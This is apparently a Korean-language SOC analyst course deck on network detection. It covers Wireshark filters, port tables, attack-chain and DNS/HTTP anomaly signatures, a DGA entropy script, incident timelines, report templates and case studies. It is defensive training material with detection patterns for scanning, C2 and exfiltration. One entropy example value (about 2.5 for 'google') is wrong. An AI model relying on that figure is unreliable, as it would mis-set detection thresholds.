자주 보는 값은 예시 로그 한 줄과 같이 기억하면 오래 간다

현장 활용

FAQ와 참조표는 에스컬레이션 전 초동 확인 체크리스트로 재사용
신입 온보딩 자료와 룰 설명서에 그대로 붙여 활용 가능
팀별 예외 환경을 손으로 메모해 조직 맞춤형으로 갱신

복습 포인트

오늘 가장 자주 나온 용어 5개를 직접 예문으로 바꿔 보기
포트와 프로토콜은 역할 중심으로만 기억하고 나머지는 참조
필드명은 Zeek·Firewall·Proxy에서 어떻게 달라지는지 비교하기

참조표276

Wireshark Display Filter 빠른 참조

상황별 핵심 필터를 참조표로 활용하면 분석 속도가 크게 향상된다.

🔍 프로토콜별 필터

# DNS만 보기 dns # HTTP 요청만 http.request # HTTPS (TLS) tls # SMB smb || smb2 # 특정 IP ip.addr == 10.0.0.1 # 특정 포트 tcp.port == 443

🎯 탐지 상황별 필터

# SYN 패킷 (Port Scan) tcp.flags.syn == 1 and tcp.flags.ack == 0 # RST 패킷 tcp.flags.reset == 1 # 큰 패킷 (유출 의심) frame.len > 1400 # HTTP 에러 응답 http.response.code >= 400 # DNS NXDOMAIN dns.flags.rcode == 3

보강 설명Wireshark Display Filter 빠른 참조 같은 부록 슬라이드는 암기용보다 실무 참조용으로 보는 편이 효율적이다. 용어·포트·필드·치트시트는 현장에서 꺼내 쓰기 쉬운 묶음으로 정리해 두는 것이 핵심이다.

참조 자료치트시트빠른 확인

읽는 법

유사 개념은 함께 묶어 차이를 한 줄로 적어 두기
도구별 다른 필드명이나 같은 의미의 약어를 나란히 두기
자주 보는 값은 예시 로그 한 줄과 같이 기억하면 오래 간다

현장 활용

FAQ와 참조표는 에스컬레이션 전 초동 확인 체크리스트로 재사용
신입 온보딩 자료와 룰 설명서에 그대로 붙여 활용 가능
팀별 예외 환경을 손으로 메모해 조직 맞춤형으로 갱신

복습 포인트

오늘 가장 자주 나온 용어 5개를 직접 예문으로 바꿔 보기
포트와 프로토콜은 역할 중심으로만 기억하고 나머지는 참조
필드명은 Zeek·Firewall·Proxy에서 어떻게 달라지는지 비교하기

참조표277

SOC 분석가 필수 포트 참조표

포트 번호가 아닌 역할로 기억하면 분석 상황에서 즉각 적용할 수 있다.

🌐 웹 서비스

80 HTTP 443 HTTPS 8080 HTTP 대체 8443 HTTPS 대체

📧 이메일

25 SMTP (서버간) 587 SMTP (클라이언트) 993 IMAP over SSL 995 POP3 over SSL

🔐 원격 접속 (고위험)

22 SSH 23 Telnet (비암호화!) 3389 RDP (원격 데스크톱) 5900 VNC

🗄️ 데이터베이스/파일

1433 MSSQL 3306 MySQL 5432 PostgreSQL 445 SMB (파일공유) 137-139 NetBIOS

보강 설명SOC 분석가 필수 포트 참조표 같은 부록 슬라이드는 암기용보다 실무 참조용으로 보는 편이 효율적이다. 용어·포트·필드·치트시트는 현장에서 꺼내 쓰기 쉬운 묶음으로 정리해 두는 것이 핵심이다.

참조 자료치트시트빠른 확인

읽는 법

유사 개념은 함께 묶어 차이를 한 줄로 적어 두기
도구별 다른 필드명이나 같은 의미의 약어를 나란히 두기
자주 보는 값은 예시 로그 한 줄과 같이 기억하면 오래 간다

현장 활용

FAQ와 참조표는 에스컬레이션 전 초동 확인 체크리스트로 재사용
신입 온보딩 자료와 룰 설명서에 그대로 붙여 활용 가능
팀별 예외 환경을 손으로 메모해 조직 맞춤형으로 갱신

복습 포인트

오늘 가장 자주 나온 용어 5개를 직접 예문으로 바꿔 보기
포트와 프로토콜은 역할 중심으로만 기억하고 나머지는 참조
필드명은 Zeek·Firewall·Proxy에서 어떻게 달라지는지 비교하기

참조표278

네트워크 분석 도구 비교 매트릭스

각 도구의 강점을 알면 상황에 맞는 도구를 선택할 수 있다.

도구	강점	한계	주요 용도
Wireshark	패킷 상세 분석	대량 트래픽 어려움	침해 확인, 포렌식
Zeek	메타데이터 요약	원시 패킷 없음	장기 모니터링
Suricata	룰 기반 실시간 탐지	알려진 패턴만	IDS/IPS 운영
Splunk/SIEM	다중 로그 상관분석	비용, 쿼리 복잡성	탐지 룰, 대시보드

실무: Zeek(로깅) + Suricata(탐지) + Wireshark(분석) + SIEM(상관) 조합

보강 설명네트워크 분석 도구 비교 매트릭스의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

탐지 참조279

공격 체인 단계별 네트워크 탐지 시그니처

공격의 각 단계마다 네트워크에서 관찰 가능한 특징적인 패턴이 있다.

🔍 정찰

Port Scan (SYN 위주), DNS 대량 조회, HTTP 경로 탐색, WHOIS/RDAP 질의

🔑 초기 접근

브루트포스 (SSH/RDP/웹), 취약점 공격 트래픽, 피싱 URL 연결

📡 C2 수립

규칙적 Beaconing, 희귀 도메인 HTTPS, DNS Tunneling, 비표준 포트 사용

🔀 내부 이동

서버간 SMB/RDP/SSH, 신규 내부-내부 연결, DC 접근, WMI/PSExec 흔적

📤 유출

대량 Outbound, 새벽 업로드, 클라우드 스토리지/FTP 연결, DNS/HTTP 인코딩

공격 패턴전조 신호조치 우선순위

대표 신호

반복성·대상 다양성·시간 간격이 공격 자동화 여부를 드러낸다
단일 성공보다 성공 전후 로그와 후속 행동을 함께 본다
정상 업무 패턴과 비교한 이탈 정도를 수치로 적어 두면 강하다

추가 확인

같은 출발지 또는 같은 계정의 전후 30분 흐름을 묶어 보기
DNS·Flow·EDR·인증 로그 중 비어 있는 소스를 한 개 더 확보하기
핵심 자산 여부와 현재 진행 중인지 여부를 먼저 판단하기

즉시 조치 힌트

정찰 단계라도 응답 성공 포트와 노출 자산을 우선 정리
인증 성공·Beaconing·유출은 차단 또는 격리 우선순위가 높다
판단문에는 사실·패턴·영향·권고 조치를 분리해서 적는다

핵심 원칙280

SOC 네트워크 분석의 핵심 원칙 9가지

기술은 배울 수 있지만 올바른 사고방식이 없으면 기술이 힘을 발휘하지 못한다.

1. 패킷 하나보다 흐름을 본다

2. 단일 로그보다 상관분석이 강하다

3. 정상을 알아야 이상을 안다

4. 도구보다 판단 구조가 먼저다

5. 시간대와 자산 역할을 항상 본다

6. 오탐 관리 없이 탐지 품질 없다

7. Fact-Pattern-Context-Action으로 쓴다

8. 탐지 한계를 알아야 리스크를 관리한다

9. 사건 후 룰과 예외를 함께 개선한다

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

모듈 연결281

Module 4 예고 — SIEM 운영과 탐지 엔지니어링

지금까지 배운 로그와 패턴 지식은 Module 4에서 SIEM 규칙으로 자동화된다.

Module 1
Linux 기초

→

Module 2
로그 분석

→

Module 3
네트워크

→

Module 4
SIEM/탐지

✅ Module 3에서 가져가는 것

• 프로토콜별 정상/이상 패턴

• Zeek/Suricata 로그 읽기

• 공격 체인 네트워크 흔적

• Fact+Pattern+Context+Action 구조

🔜 Module 4에서 배울 것

• SIEM 데이터 모델과 파싱

• 탐지 룰 설계와 튜닝

• 상관 분석 자동화

• Playbook과 SOAR 연동

보강 설명Module 4 예고 — SIEM 운영과 탐지 엔지니어링는 수업을 끝내는 장면이 아니라 이후의 학습과 실습 루틴을 연결하는 슬라이드다. 반복적으로 로그를 읽고 판단문을 쓰는 습관이 결국 분석 품질을 만든다.

다음 단계루틴성장

다음 2주에 할 일

수업에서 본 예시 로그를 다시 읽고 1장 요약 만들기
Wireshark/Zeek/Flow 중 하나를 골라 손에 익힐 정도로 반복
자주 틀린 개념을 개인 치트시트로 정리하기

실무 감각 키우기

하루 10분이라도 정상과 이상 예시를 비교해 보는 루틴 만들기
동향 자료는 제목만 읽지 말고 우리 환경에 어떤 의미인지 적기
결론보다 근거와 추가 확인 질문을 쓰는 습관 유지

후속 학습 추천

Module 4의 SIEM 규칙과 상관분석에서 지금 배운 네트워크 지식이 재사용됨
PCAP·Threat Hunting·룰 튜닝은 작은 과제를 반복할수록 빨라진다
팀 내 리뷰를 통해 보고 문장의 명확성을 계속 다듬기

다음 단계282

Module 3 이후 심화 학습 로드맵

이 모듈에서 배운 것을 실전으로 연결하는 구체적인 다음 단계들이다.

📚 추천 학습 자료

📖 The Practice of Network Security Monitoring (Bejtlich)

🌐 Zeek 공식 문서 (zeek.org)

🎓 SANS SEC503 (Network Forensics)

🔬 Malware-Traffic-Analysis.net

💻 실습 플랫폼

🏆 CyberDefenders — 방어 중심 CTF

🎯 Blue Team Labs Online

🔐 TryHackMe — SOC Level 1/2

🛡️ Hack The Box — Sherlocks

매주 PCAP 1개 분석 → 서술문 작성 → 동료 피드백 = 가장 빠른 성장

보강 설명Module 3 이후 심화 학습 로드맵는 수업을 끝내는 장면이 아니라 이후의 학습과 실습 루틴을 연결하는 슬라이드다. 반복적으로 로그를 읽고 판단문을 쓰는 습관이 결국 분석 품질을 만든다.

다음 단계루틴성장

다음 2주에 할 일

수업에서 본 예시 로그를 다시 읽고 1장 요약 만들기
Wireshark/Zeek/Flow 중 하나를 골라 손에 익힐 정도로 반복
자주 틀린 개념을 개인 치트시트로 정리하기

실무 감각 키우기

하루 10분이라도 정상과 이상 예시를 비교해 보는 루틴 만들기
동향 자료는 제목만 읽지 말고 우리 환경에 어떤 의미인지 적기
결론보다 근거와 추가 확인 질문을 쓰는 습관 유지

후속 학습 추천

Module 4의 SIEM 규칙과 상관분석에서 지금 배운 네트워크 지식이 재사용됨
PCAP·Threat Hunting·룰 튜닝은 작은 과제를 반복할수록 빨라진다
팀 내 리뷰를 통해 보고 문장의 명확성을 계속 다듬기

과제283

개인 실습 과제 — 수료 후 30일 내 완성

과제는 숙제가 아니라 실전 포트폴리오다. 잘 만든 분석 리포트는 취업/이직 시 강력한 증거가 된다.

📋 과제 내용

1. Malware-Traffic-Analysis.net에서 PCAP 1개 선택

2. Wireshark/Zeek로 전체 분석

3. A4 2장 분석 리포트 작성
(Fact/Pattern/Context/Action 구조)

4. ATT&CK 매핑 (최소 2개 기법)

5. 탐지 룰 초안 작성 (Suricata or SPL)

📊 채점 기준

① 사실 식별 정확도 (20점)

② 패턴 해석 타당성 (20점)

③ 상관분석 깊이 (20점)

④ ATT&CK 매핑 정확도 (20점)

⑤ 탐지 룰 실용성 (20점)

보강 설명개인 실습 과제 — 수료 후 30일 내 완성는 정답 맞히기보다 근거를 조립하는 연습에 가깝다. 주어진 로그에서 무엇이 사실인지, 어디가 추론인지, 어떤 추가 로그가 필요한지 먼저 나누어 적는 것이 중요하다.

실습답안 포인트추가 로그

답안 포인트

시간순으로 재배치한 뒤 공격 단계 또는 운영 상황을 먼저 정의
상태코드·bytes·반복성·시간대를 빠짐없이 근거로 제시
단정 표현보다 확신도와 근거 수준을 함께 적기

추가 확인

같은 IP·계정·호스트의 전후 30분 범위를 묶어 흐름 보기
DNS·EDR·인증·Proxy 중 하나 이상을 추가 확보해 교차 검증
오탐 시나리오도 한 줄로 적어 판단의 균형 유지

미니 실습

로그 3줄을 하나의 타임라인 문장으로 정리해 보기
즉시 조치와 추가 조사 항목을 따로 적어 보기
동일 현상을 개발팀·운영팀·관리자용 문장으로 각각 바꿔 보기

심화 탐지284

DGA(Domain Generation Algorithm) 탐지 심화

DGA는 C2 탐지를 어렵게 하지만, 무작위 도메인의 통계적 특성은 숨길 수 없다.

🔍 DGA 도메인 특성

📊 높은 엔트로피 (알파벳 무작위 조합)

📏 비정상적으로 긴 도메인 길이

📅 최근 등록 도메인 (수 일 이내)

❌ 대부분 NXDOMAIN 응답

🔢 숫자와 알파벳 과도한 혼합

📐 엔트로피 계산 예시

import math from collections import Counter def entropy(s): p, lns = Counter(s), float(len(s)) return -sum( count/lns * math.log(count/lns, 2) for count in p.values() ) # 정상 도메인 print(entropy("google")) # ~2.5 print(entropy("microsoft")) # ~2.9 # DGA 의심 print(entropy("x7k2p9q1")) # ~3.0+

⚠️ 엔트로피만으로 판단 금지. 컨텍스트와 함께 봐야 함

심화 탐지285

DNS 이상 탐지 체계 — 완전 가이드

DNS는 가장 저평가된 보안 로그다. 제대로 분석하면 공격의 전 단계가 보인다.

🔴 DGA / C2

높은 엔트로피 도메인 + NXDOMAIN 다량 + 단일 악성 도메인 성공 연결

🔴 DNS Tunneling

서브도메인에 데이터 인코딩 + TXT/NULL 레코드 + 단일 도메인 집중 질의

🟡 Fast Flux

동일 도메인이 짧은 TTL + 매번 다른 IP 응답 + Bulletproof 호스팅

🟡 Typosquatting

합법 도메인과 유사한 이름 (gooogle.com, paypa1.com) + 신규 등록

보강 설명DNS 이상 탐지 체계 — 완전 가이드의 핵심은 이름 조회 자체가 아니라 도메인 형태, 응답 코드, 레코드 타입, 외부 목적지 연결을 함께 읽는 데 있다. NXDOMAIN·TXT·긴 서브도메인·외부 Resolver 직행은 반드시 묶어서 본다.

DNS패턴실무 판단

핵심 포인트

query·rcode·answers·qtype을 한 세트로 보면 해석이 빨라진다
도메인 모양과 조회 빈도는 자동화 공격 여부를 가르는 단서다
DNS는 네트워크 전체에서 목적지를 가장 빨리 드러내는 소스다

추가 확인

외부 8.8.8.8·1.1.1.1 직접 사용 여부와 내부 정책 우회 확인
같은 호스트의 전후 Flow를 붙여 실제 연결까지 이어졌는지 검토
Threat Intel, Passive DNS, 신규 등록 여부를 교차 확인

미니 실습

NXDOMAIN 폭증과 단순 오타를 구분하는 기준 3개 적기
TXT 레코드 다량 조회를 터널링으로 볼 근거를 정리하기
DNS 로그 한 줄에서 추가로 찾아야 할 다음 로그를 말해 보기

심화 탐지286

HTTP/HTTPS 이상 탐지 완전 체계

HTTP는 가장 많이 사용되는 프로토콜이자 가장 많이 악용되는 채널이다.

🚨 HTTP 이상 패턴

비브라우저 UA + 민감 경로 탐색

404 폭발 (웹 스캐닝)

POST + 대용량 Body (업로드)

비정상적 상태 코드 분포

Base64 인코딩된 파라미터

🔐 HTTPS 메타데이터 분석

JA3 핑거프린트 악성 DB 대조

인증서 Subject/Issuer 확인

SNI(Server Name) 도메인 평판

연결 주기성 분석

TLS 버전 및 암호화 스위트

보강 설명HTTP/HTTPS 이상 탐지 완전 체계에서는 요청 한 줄보다 Method·URI·상태코드·응답 크기·헤더 변화까지 같이 읽어야 한다. 암호화되어도 SNI, 인증서, JA3, 세션 주기 같은 행동 단서는 계속 남는다.

HTTP/TLS행위 해석로그 연계

핵심 포인트

Method와 URI는 의도, 상태코드와 bytes는 결과를 보여준다
반복 요청, 헤더 이상, 비정상 경로 접근은 자동화 공격 신호다
TLS는 내용을 숨겨도 인증서와 세션 패턴으로 충분히 해석 가능하다

추가 확인

같은 Source의 전후 URL 흐름을 묶어 탐색→시도→성공 여부 확인
Proxy·WAF·App 로그에서 같은 요청이 어떻게 보였는지 대조
평소 서비스 구조상 존재하지 않는 경로나 업로드 경로인지 점검

실무 예시

404 급증은 스캐닝, 200 전환은 성공 가능성으로 이어질 수 있다
Self-signed 인증서와 규칙적 443 세션은 C2 가능성을 높인다
웹쉘은 업로드 로그와 실행 로그를 반드시 체인으로 본다

IR 스킬287

사건 타임라인 재구성 — 실전 가이드

타임라인 재구성은 사고 범위를 결정하고 대응 우선순위를 잡는 데 가장 중요한 스킬이다.

📐 타임라인 구성 요소

⏱️ 정확한 시각 (UTC 기준)

🔗 관련 IP / 호스트 / 계정

📋 이벤트 설명 (1문장)

📁 로그 출처 (Zeek/FW/auth)

🏷️ ATT&CK 기법 태그

📊 타임라인 예시

2024-03-15 00:41 UTC 198.51.100.23 → jump01 Port Scan [Zeek conn_state: S0 x47] [ATT&CK: T1046 Network Scan] 2024-03-15 00:44 UTC 198.51.100.23:22 SSH 반복 시도 [auth.log: 40회 실패] [ATT&CK: T1110 Brute Force] 2024-03-15 00:46 UTC admin 계정 SSH 성공 → jump01 [ATT&CK: T1078 Valid Accounts]

보강 설명사건 타임라인 재구성 — 실전 가이드 슬라이드는 기술 판단을 운영 문장으로 바꾸는 방법을 다루는 구간이다. 사실·패턴·맥락·조치를 분리해서 적으면 에스컬레이션과 후속 협업이 훨씬 쉬워진다.

운영 실무판단문에스컬레이션

핵심 포인트

사실과 추론을 분리해 적으면 보고 신뢰도가 높아진다
위험도 판단에는 자산 중요도와 현재 진행 여부를 반드시 포함
좋은 문장은 다음 조치와 추가 확인이 무엇인지 바로 보이게 한다

추가 확인

오탐 가능성도 함께 적어 후속 팀의 판단 비용을 줄이기
누락된 로그 소스와 필요한 권한·담당 부서를 같이 명시하기
보고 대상이 기술팀인지 경영진인지에 따라 표현 수준 조정

실무 적용

에스컬레이션은 늦음보다 근거 있는 조기 공유가 더 안전한 경우가 많다
기준선은 숫자와 기간을 명시해야 룰 튜닝에 재사용 가능하다
표준 문장 템플릿을 만들어 팀 내 판단 품질을 균일화할 수 있다

커뮤니케이션288

네트워크 분석 보고서 — 기술 vs 경영진 버전

같은 사건이라도 독자에 따라 다른 언어로 전달해야 한다.

🔧 기술 보고서 (분석가 → 분석가)

hr-pc-07(10.0.1.55)이 03:15~04:02 5분 간격 198.51.100.9:443 TLS 연결. JA3: a0e9f5d64349fb13191bc781f81f42e1 (알려진 Cobalt Strike 핑거프린트 매칭) DNS: cdn-support-check.top (등록 3일) → EDR: svchost.exe 하위 PowerShell encoded command 실행 확인

📊 경영진 보고서 (분석가 → 임원)

인사부 PC 1대가 외부 해킹 도구와 통신하는 정황이 탐지되었습니다. 해당 PC를 즉시 네트워크에서 격리했으며, 현재 정밀 조사 중입니다. 초기 분석상 데이터 유출은 확인되지 않았으나, 조사 완료까지 추가 확인이 필요합니다. 결과는 4시간 내 보고 드리겠습니다.

보강 설명네트워크 분석 보고서 — 기술 vs 경영진 버전 슬라이드는 기술 판단을 운영 문장으로 바꾸는 방법을 다루는 구간이다. 사실·패턴·맥락·조치를 분리해서 적으면 에스컬레이션과 후속 협업이 훨씬 쉬워진다.

운영 실무판단문에스컬레이션

핵심 포인트

사실과 추론을 분리해 적으면 보고 신뢰도가 높아진다
위험도 판단에는 자산 중요도와 현재 진행 여부를 반드시 포함
좋은 문장은 다음 조치와 추가 확인이 무엇인지 바로 보이게 한다

추가 확인

오탐 가능성도 함께 적어 후속 팀의 판단 비용을 줄이기
누락된 로그 소스와 필요한 권한·담당 부서를 같이 명시하기
보고 대상이 기술팀인지 경영진인지에 따라 표현 수준 조정

실무 적용

에스컬레이션은 늦음보다 근거 있는 조기 공유가 더 안전한 경우가 많다
기준선은 숫자와 기간을 명시해야 룰 튜닝에 재사용 가능하다
표준 문장 템플릿을 만들어 팀 내 판단 품질을 균일화할 수 있다

운영 구조289

SOC 분석가 vs IR팀 — 역할 구분과 협업

사고 발생 시 SOC와 IR팀이 각자 역할을 명확히 알아야 혼선 없이 대응할 수 있다.

🔭 SOC 분석가

• 알람 모니터링 및 Triage

• 초기 보강 분석

• 에스컬레이션 판단

• 경보 데이터 수집 및 전달

• 탐지 룰 운영

🔬 IR팀 (사고대응)

• 심층 포렌식 분석

• 피해 범위 확정

• 복구 절차 수행

• 법적/규제 대응

• 재발 방지 대책 수립

SOC = 발견·분류·에스컬레이션 | IR = 심층 조사·복구·보고

보강 설명SOC 분석가 vs IR팀 — 역할 구분과 협업의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

탐지 전략290

ATT&CK 기반 탐지 커버리지 매핑

탐지하지 못하는 공격 기법을 알아야 리스크를 관리할 수 있다.

🗺️ 커버리지 매핑 방법

ATT&CK Navigator 준비

현재 탐지 룰과 ATT&CK 기법 매핑

커버리지 공백(빨간 칸) 식별

위험도 기반 우선순위 결정

📊 네트워크 관련 커버리지 현황 예시

Port Scan (T1046)탐지됨 ✅

DNS Tunneling (T1071.004)탐지됨 ✅

Encrypted C2 (T1573)공백 ❌

Living off the Land부분 ⚠️

공격 패턴전조 신호조치 우선순위

대표 신호

반복성·대상 다양성·시간 간격이 공격 자동화 여부를 드러낸다
단일 성공보다 성공 전후 로그와 후속 행동을 함께 본다
정상 업무 패턴과 비교한 이탈 정도를 수치로 적어 두면 강하다

추가 확인

같은 출발지 또는 같은 계정의 전후 30분 흐름을 묶어 보기
DNS·Flow·EDR·인증 로그 중 비어 있는 소스를 한 개 더 확보하기
핵심 자산 여부와 현재 진행 중인지 여부를 먼저 판단하기

즉시 조치 힌트

정찰 단계라도 응답 성공 포트와 노출 자산을 우선 정리
인증 성공·Beaconing·유출은 차단 또는 격리 우선순위가 높다
판단문에는 사실·패턴·영향·권고 조치를 분리해서 적는다

실제 사례291

실제 사고 사례로 배우는 네트워크 분석 (1)

실제 발생한 사고를 통해 네트워크 탐지의 실전 가치를 이해한다.

사례 1: Target 카드 정보 유출 (2013)

침투: 냉난방 협력업체 VPN 자격증명 탈취

이동: 내부 네트워크를 통해 POS 시스템 접근

유출: FTP로 카드 정보 외부 서버 전송

교훈: 협력업체 네트워크 세그먼테이션 + FTP 모니터링

사례 2: SolarWinds 공급망 공격 (2020)

침투: 소프트웨어 업데이트에 악성 코드 삽입

C2: 합법적 SolarWinds 도메인 패턴 모방

발견: DNS 질의 패턴 이상으로 최초 탐지

교훈: DNS 이상 탐지 + 공급망 보안

보강 설명실제 사고 사례로 배우는 네트워크 분석 (1)의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

실제 사례292

실제 사고 사례로 배우는 네트워크 분석 (2)

다양한 공격 유형에서 네트워크 분석이 어떤 역할을 했는지 확인한다.

사례 3: 금융사 랜섬웨어 (2023, 국내 유사 사례)

침투: 취약한 VPN 서버 익스플로잇

이동: RDP를 통해 DC까지 횡이동

탐지: 새벽 3시 내부 RDP 폭발 + Cobalt Strike Beacon 탐지

교훈: 새벽 시간대 내부 RDP 이상 탐지 룰 필수

사례 4: 내부자 데이터 유출

행위: 퇴직 예정 직원이 고객 DB를 개인 Google Drive에 업로드

탐지: Proxy 로그에서 drive.google.com 대용량 업로드 탐지

확인: 파일 서버 접근 로그 + DLP 이벤트 연계

교훈: 클라우드 스토리지 업로드 모니터링 필수

보강 설명실제 사고 사례로 배우는 네트워크 분석 (2)의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

훈련293

SOC 모의 훈련 시나리오 설계 가이드

정기적인 모의 훈련이 실제 사고 시 대응 품질을 결정한다.

🎯 훈련 유형

Tabletop Exercise
시나리오 토론, 절차 검증

Purple Team
레드팀 공격 + 블루팀 탐지 동시 수행

Live Fire
실제 환경에 가까운 전체 사이클

📋 훈련 체크리스트

☐ 탐지 → 에스컬레이션 시간 측정

☐ 오탐/미탐 현황 기록

☐ 커뮤니케이션 프로토콜 검증

☐ 도구 및 플레이북 실효성 확인

☐ 개선 사항 문서화

보강 설명SOC 모의 훈련 시나리오 설계 가이드는 정답 맞히기보다 근거를 조립하는 연습에 가깝다. 주어진 로그에서 무엇이 사실인지, 어디가 추론인지, 어떤 추가 로그가 필요한지 먼저 나누어 적는 것이 중요하다.

실습답안 포인트추가 로그

답안 포인트

시간순으로 재배치한 뒤 공격 단계 또는 운영 상황을 먼저 정의
상태코드·bytes·반복성·시간대를 빠짐없이 근거로 제시
단정 표현보다 확신도와 근거 수준을 함께 적기

추가 확인

같은 IP·계정·호스트의 전후 30분 범위를 묶어 흐름 보기
DNS·EDR·인증·Proxy 중 하나 이상을 추가 확보해 교차 검증
오탐 시나리오도 한 줄로 적어 판단의 균형 유지

미니 실습

로그 3줄을 하나의 타임라인 문장으로 정리해 보기
즉시 조치와 추가 조사 항목을 따로 적어 보기
동일 현상을 개발팀·운영팀·관리자용 문장으로 각각 바꿔 보기

운영 관리294

SOC 네트워크 탐지 운영 KPI

측정할 수 없으면 개선할 수 없다. SOC 운영 품질을 수치로 관리해야 한다.

⏱️ 탐지 속도

MTTD (Mean Time to Detect)

MTTR (Mean Time to Respond)

Alert 처리 시간 평균

🎯 탐지 품질

False Positive Rate (<20% 목표)

False Negative Rate

ATT&CK 커버리지 (%)

📊 운영 효율

일일 Alert 처리량

에스컬레이션 비율

자동화 커버리지 (%)

📈 개선 추세

월별 오탐률 추이

신규 탐지 룰 추가 수

튜닝된 예외 항목 수

보강 설명SOC 네트워크 탐지 운영 KPI 슬라이드는 기술 판단을 운영 문장으로 바꾸는 방법을 다루는 구간이다. 사실·패턴·맥락·조치를 분리해서 적으면 에스컬레이션과 후속 협업이 훨씬 쉬워진다.

운영 실무판단문에스컬레이션

핵심 포인트

사실과 추론을 분리해 적으면 보고 신뢰도가 높아진다
위험도 판단에는 자산 중요도와 현재 진행 여부를 반드시 포함
좋은 문장은 다음 조치와 추가 확인이 무엇인지 바로 보이게 한다

추가 확인

오탐 가능성도 함께 적어 후속 팀의 판단 비용을 줄이기
누락된 로그 소스와 필요한 권한·담당 부서를 같이 명시하기
보고 대상이 기술팀인지 경영진인지에 따라 표현 수준 조정

실무 적용

에스컬레이션은 늦음보다 근거 있는 조기 공유가 더 안전한 경우가 많다
기준선은 숫자와 기간을 명시해야 룰 튜닝에 재사용 가능하다
표준 문장 템플릿을 만들어 팀 내 판단 품질을 균일화할 수 있다

미래 패러다임295

Zero Trust 관점에서의 네트워크 분석

Zero Trust는 내부망도 신뢰하지 않는다. 모든 연결이 검증 대상이자 탐지 대상이 된다.

🔐 Zero Trust 핵심 원칙

절대 신뢰하지 말고, 항상 검증하라

최소 권한 원칙 (Need-to-Know)

침해를 가정하고 설계하라

마이크로 세그먼테이션

🔄 SOC 관점 변화

기존:내부 연결 = 신뢰, 외부 = 의심

ZT:모든 연결 = 검증 대상

→ 내부 이동 탐지 중요도 ↑

→ 세션별 인증/권한 로그 분석

→ 동서 트래픽(E-W) 가시성 확보

보강 설명Zero Trust 관점에서의 네트워크 분석에서는 패킷보다 Flow와 제어plane 로그가 더 중요할 수 있다. 클라우드는 센서 위치보다 수집 가능한 서비스 로그 종류와 보존 기간이 탐지 범위를 결정한다.

CloudFlow Log가시성

핵심 포인트

VPC/NSG/Load Balancer 로그와 IAM·API 로그를 함께 보는 구조 필요
클라우드에서는 자산 생성·삭제가 빨라 기준선도 자주 갱신해야 한다
Kubernetes는 Pod 간 East-West와 NetworkPolicy 맥락이 중요하다

추가 확인

퍼블릭 노출 리소스와 허용된 보안그룹/NSG 예외를 먼저 파악
로그 지연 시간과 보존 기간이 IR 속도에 미치는 영향 확인
클라우드 네이티브 서비스 호출이 정상 배포인지 공격인지 구분

실무 예시

클라우드 자격증명 탈취는 네트워크 로그보다 API 호출 패턴이 먼저 보일 수 있다
K8s는 Pod→Service→Node 흐름을 계층별로 봐야 원인을 찾기 쉽다
